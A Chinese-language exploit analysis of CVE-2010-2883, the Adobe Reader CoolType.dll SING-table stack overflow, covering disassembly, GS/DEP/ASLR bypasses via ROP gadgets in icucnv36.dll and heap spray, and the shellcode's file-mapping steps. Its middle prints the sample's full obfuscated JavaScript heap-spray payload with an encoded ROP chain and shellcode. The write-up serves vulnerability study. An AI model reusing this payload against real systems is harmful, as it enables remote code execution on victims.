漏洞描述
CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞,用户打开特制的恶意PDF文件可造成任意代码执行。
漏洞分析
书上说,CoolType库的”SING”字符串处出的错误,直接用ida打开,搜索字符串到此处:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| .text:0803DCF9 ; =============== S U B R O U T I N E ======================================= .text:0803DCF9 .text:0803DCF9 ; Attributes: bp-based frame fpd=108h .text:0803DCF9 .text:0803DCF9 sub_803DCF9 proc near ; CODE XREF: sub_803A3B2+55p .text:0803DCF9 ; sub_803DFF4+28p ... .text:0803DCF9 .text:0803DCF9 var_160 = byte ptr -160h .text:0803DCF9 var_140 = dword ptr -140h .text:0803DCF9 var_138 = dword ptr -138h .text:0803DCF9 var_134 = dword ptr -134h .text:0803DCF9 var_130 = dword ptr -130h .text:0803DCF9 var_12C = dword ptr -12Ch .text:0803DCF9 var_128 = dword ptr -128h .text:0803DCF9 var_124 = dword ptr -124h .text:0803DCF9 var_120 = dword ptr -120h .text:0803DCF9 var_119 = byte ptr -119h .text:0803DCF9 var_114 = dword ptr -114h .text:0803DCF9 var_10C = dword ptr -10Ch .text:0803DCF9 var_108 = byte ptr -108h .text:0803DCF9 var_4 = dword ptr -4 .text:0803DCF9 arg_0 = dword ptr 8 .text:0803DCF9 arg_4 = dword ptr 0Ch .text:0803DCF9 arg_8 = dword ptr 10h .text:0803DCF9 arg_C = dword ptr 14h .text:0803DCF9 .text:0803DCF9 push ebp ;本函数栈,0h处 .text:0803DCFA sub esp, 104h ;esp = -104h .text:0803DD00 lea ebp, [esp-4] ;ebp = -108h .text:0803DD04 mov eax, ___security_cookie .text:0803DD09 xor eax, ebp .text:0803DD0B mov [ebp+108h+var_4], eax ;[-4h] = security-cookie .text:0803DD11 push 4Ch ;[-108h] = 4ch .text:0803DD13 mov eax, offset sub_8184A54 ;eax = 0x8184a54 .text:0803DD18 call __EH_prolog3_catch ; .text:0803DD1D mov eax, [ebp+108h+arg_C] ;eax = 参数4 .text:0803DD23 mov edi, [ebp+108h+arg_0] ;edi = 参数1 .text:0803DD29 mov ebx, [ebp+108h+arg_4] ;ebx = 参数2 .text:0803DD2F mov [ebp+108h+var_130], edi ;[-130h] = 参数1 .text:0803DD32 mov [ebp+108h+var_138], eax ;[-138h] = 参数4 .text:0803DD35 call sub_804172C .text:0803DD3A xor esi, esi ;esi = 0 .text:0803DD3C cmp dword ptr [edi+8], 3 ;[edi+8] = 3 .text:0803DD40 mov [ebp+108h+var_10C], esi ;[-4h]=0 .text:0803DD43 jz loc_803DF00 ;不跳转 .text:0803DD49 mov [ebp+108h+var_124], esi ;[-124h] = 0 .text:0803DD4C mov [ebp+108h+var_120], esi ;[-120h] = 0 .text:0803DD4F cmp dword ptr [edi+0Ch], 1 ; .text:0803DD53 mov byte ptr [ebp+108h+var_10C], 1 ;[-10c] = (byte)1 .text:0803DD57 jnz loc_803DEA9 ;不跳转 .text:0803DD5D push offset aName ; "name" ;[-10ch] = "name" .text:0803DD62 push edi ; int ;[-110h] = edi .text:0803DD63 lea ecx, [ebp+108h+var_124] ;ecx = -124h .text:0803DD66 mov [ebp+108h+var_119], 0 ;[-119h] = 0 .text:0803DD6A call sub_80217D7 ;fun(edi,"name",,) .text:0803DD6F cmp [ebp+108h+var_124], esi ;[-124h] ?=0 .text:0803DD72 jnz short loc_803DDDD ;不跳转 .text:0803DD74 push offset aSing ; "SING" ;[-114h] = "SING" .text:0803DD79 push edi ; int ;[-110h] = edi .text:0803DD7A lea ecx, [ebp+108h+var_12C] ;ecx = -12ch .text:0803DD7D call sub_8021B06 .text:0803DD82 mov eax, [ebp+108h+var_12C] ;eax = [-12ch] .text:0803DD85 cmp eax, esi ;eax ?= 0 .text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2 ;[-10ch] = (byte)2 .text:0803DD8B jz short loc_803DDC4 ;不跳转 .text:0803DD8D mov ecx, [eax] .text:0803DD8F and ecx, 0FFFFh ;相与为0 .text:0803DD95 jz short loc_803DD9F ;跳转 .text:0803DD97 cmp ecx, 100h .text:0803DD9D jnz short loc_803DDC0 .text:0803DD9F .text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9Cj .text:0803DD9F add eax, 10h ;eax += 10 .text:0803DDA2 push eax ; char * .text:0803DDA3 lea eax, [ebp+108h+var_108] .text:0803DDA6 push eax ; char * .text:0803DDA7 mov [ebp+108h+var_108], 0 ;[-108h] = '\0' .text:0803DDAB call strcat ;strcat(*-108,eax);
|
直接在ida里面能看到更清晰的跳转关系,发现要执行到strcat函数处必须按照特定跳转方式,但是阅读跳转发现它总是由传入参数控制,和原字符串无明显联系,在下文的”SING”出现后,可以猜测:
1 2 3 4
| .text:0803DD74 push offset aSing ; "SING" ;参数1 = "SING" .text:0803DD79 push edi ; int ;参数2 = 指向库的指针 .text:0803DD7A lea ecx, [ebp+108h+var_12C] ; .text:0803DD7D call sub_8021B06 ;eax = "SING"表的地址
|
接下来的后续过程只有一个判断,而此判断是[eax]?=0
,明显地,它并没有判断长度(即使第一位数据代表长度也可以伪造),后续再无判断,可以猜测此处存在栈溢出。
样本分析
提取字体
使用PDFStreamDumper: load PDF->search for->ttf fonts
查看结构
1 2 3 4 5 6
| typedef struct_SING{ char tag[4]; ULONG checkSum; ULONG offset; ULONG length; }
|
读到的结构如下:
即SING表的偏移为”0x0000011c”(大端序),又根据SING表的数据结构,相对偏移为10h处为uniqueName:
12Ch处开始为uniqueName字符串,可以看到,uniqueName长度远超了缓冲区的108h字节
安全检查
利用前当然要看看有哪些防御措施(通过查看PE头获取),能不绕就不绕
- GS:见上图,是有栈溢出检查的
- DEP:标配吧
- ASLR:查看PE头,发现是支持的
还要看看注意事项:
- 坏字符:’\0’
- strcat后还有很多指令,那些指令可能会用到被覆盖的栈的内容,若将内容当成指针就可能出现访问异常
绕过方法
- GS:覆盖SEH,又要绕它。这里先观察注意事项2看看可不可以直接在后续指令里面劫持EIP
- DEP:ROP技术,将shellcode放入一片可写可执行区域
- ASLR:使用Heap Spray,另外利用没有ASLR的模块
分析shellcode
- 在strcat之前下断点,可以看到eax指向uniqueName域
- 在strcat执行之后,在目标串(EBP所指)区域下内存访问断点,跟踪payload
第一次断在字符串开始,拷贝1字节
第二次断在字符串开始,比较1字节
接着是循环比较,直到此处,开始4字节的读取串上的数据,直到匹配
接下来将目标串复制8f双字到另一处内存
接下来又是
再继续,发现此处会用edi和eax覆盖字符串的8字节,偏移为13h
重要的内容来了,这里调用了字符串(栈)中的地址
此地址代码为(ROP1)
leave == mov esp,ebp;pop ebp
接着是ROP2
跟入ROP2,熟悉的气息扑面而来,堆喷射嘛,不过要小心,他这个gadget可能会让人感到迷惑,由于对齐原因:
注意到这里有两个地址0x4a80cb38和0x4a82a714,他们在icucnv36.dll模块中,在各个版本中位置都没有变化,增加有稳定性与通用性。
这一部分,算是完全控制了栈了,也绕过了ASLR(堆喷射)
3. JavaScript
现在栈顶指向了0x0c0c0c0c
,它是由PDF中内嵌的js代码申请的
1 2 3 4 5 6 7 8 9 10 11 12
| var PVtXNSbsBDH = unescape; var EolKWFK = PVtXNSbsBDH( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ucfd9%u8dbf%uc68a%ud9b0%u2474%u58f4%uc929%u49b1%ue883%u31fc%u1578%u7803%u6f15%u3a7f%ue658%uc380%u9899%u2609%u8aa8%u226e%u1a99%u66e4%ud112%u92a8%u97a1%u9464%u1d02%u9b53%u9093%u775b%ub357%u8a27%u1384%u4519%u52d9%ub85e%u0612%ub637%ub681%u8a3c%ub719%u8092%ucf22%u5797%u65d6%u8799%uf247%u3fd1%u5ce3%u3ec2%ubf20%u083e%u0b4d%u8bb4%u4287%uba35%u08e7%u7208%u51ea%ub54c%u2415%uc5a6%u3ea8%ub77d%ucb76%u1f60%u6bfc%ua141%uedd1%uad02%u7a9e%ub24c%uaf21%ucee6%u4eaa%u4729%u74e8%u03ed%u15aa%ue9b4%u2a1d%u56a6%u8ec1%u75ac%ua816%u11ee%u86db%ue210%u9173%ud063%u09dc%u58ec%u9794%u9feb%u6f8f%u5e63%u8f30%ua5ad%udf64%u0cc5%ub405%ub015%u1ad0%u1e46%uda8b%ude36%ub27b%ud15c%ua2a4%u3b5e%u48cd%uaca4%u8cf8%u23a4%u8e95%u2aa8%u0739%u264e%u41d1%udfd8%uc848%u7e92%uc794%u41de%ueb1e%u0f1f%u86d7%uf833%udd17%uaf6e%uc828%u5005%uf6bd%u078f%uf429%u60f6%u07f6%ufadd%u9d3f%u949e%u713f%u651f%u1b16%u0d1f%u7fce%u284c%uaa11%ue1e0%u5484%u5551%u3c0e%u805f%ue378%ue7a0%ud878%uce76%u28fe%u22fd%u41c3' ); var JugRVXrvaQFK = PVtXNSbsBDH( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); while (JugRVXrvaQFK.length + 20 + 8 < 65536) JugRVXrvaQFK+=JugRVXrvaQFK; dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj = JugRVXrvaQFK.substring(0, (0x0c0c-0x24)/2); dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj += EolKWFK; dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj += JugRVXrvaQFK; jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD = dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj.substring(0, 65536/2); while(jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD.length < 0x80000) jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD += jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD; MNPAvhsNTWhroaInAyrkSNVnaugrVjtWkeVpBGcRomrcMrEYpNPNoxuQmXDmdSiCmEpqsgaslO = jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD.substring(0, 0x80000 - (0x1020-0x08) / 2); var rYhuvzhnDOgwjmuwogDFLaqahCPBilftAtuBZIReEWBueZSyVCxpIHsNulycmb = new Array(); for (rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail=0;rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail<0x1f0;rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail++) rYhuvzhnDOgwjmuwogDFLaqahCPBilftAtuBZIReEWBueZSyVCxpIHsNulycmb[rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail]=MNPAvhsNTWhroaInAyrkSNVnaugrVjtWkeVpBGcRomrcMrEYpNPNoxuQmXDmdSiCmEpqsgaslO+"s";
|
于是可以通过rop绕dep了
4. 跟入js的shellcode
即[4a8a0000h] = eax (0x0038E174)
即调用CreateFileA函数,创建一个名为iso88591的隐藏缓存型文件
设置参数FileHandle,它是上一个函数的返回值,即在eax里面,这里先将其放在edi再写入栈。
即调用CreateFileMappingA函数,创建文件映射,属性为可读可写可执行
设置参数Handle,同上
即调用MapViewOfFile函数,映射到本进程的地址空间内
将返回值Address(03be0000h,注意程序重启过,后面的值会变化成08e30000h)写入0x4a8a0004处
设置第一个参数:目标地址
计算源地址
设置第二个参数:源地址
复制代码,执行shellcode
总结
漏洞是由于未对脏数据作过滤引起的,尽管是一个栈溢出,但此函数存在GS保护,幸运的是函数的后部使用到了栈中的数据作为指令地址,顺利的让恶意代码取得控制权,但是此程序存在DEP不能直接在堆栈上布置shellcode于是采用ROP技术绕过,但是此模块还存在ASLR,故又使用Heap Spray技术伪造了一个地址固定的堆,有利用固定的两个地址作为零件将ESP引向伪造的栈,后续就是利用ROP创建可读可写可执行的内存再将shellcode复制进此区域执行!秒啊,妙不可言啊!!
漏洞修复
当然是使用strncat代替咯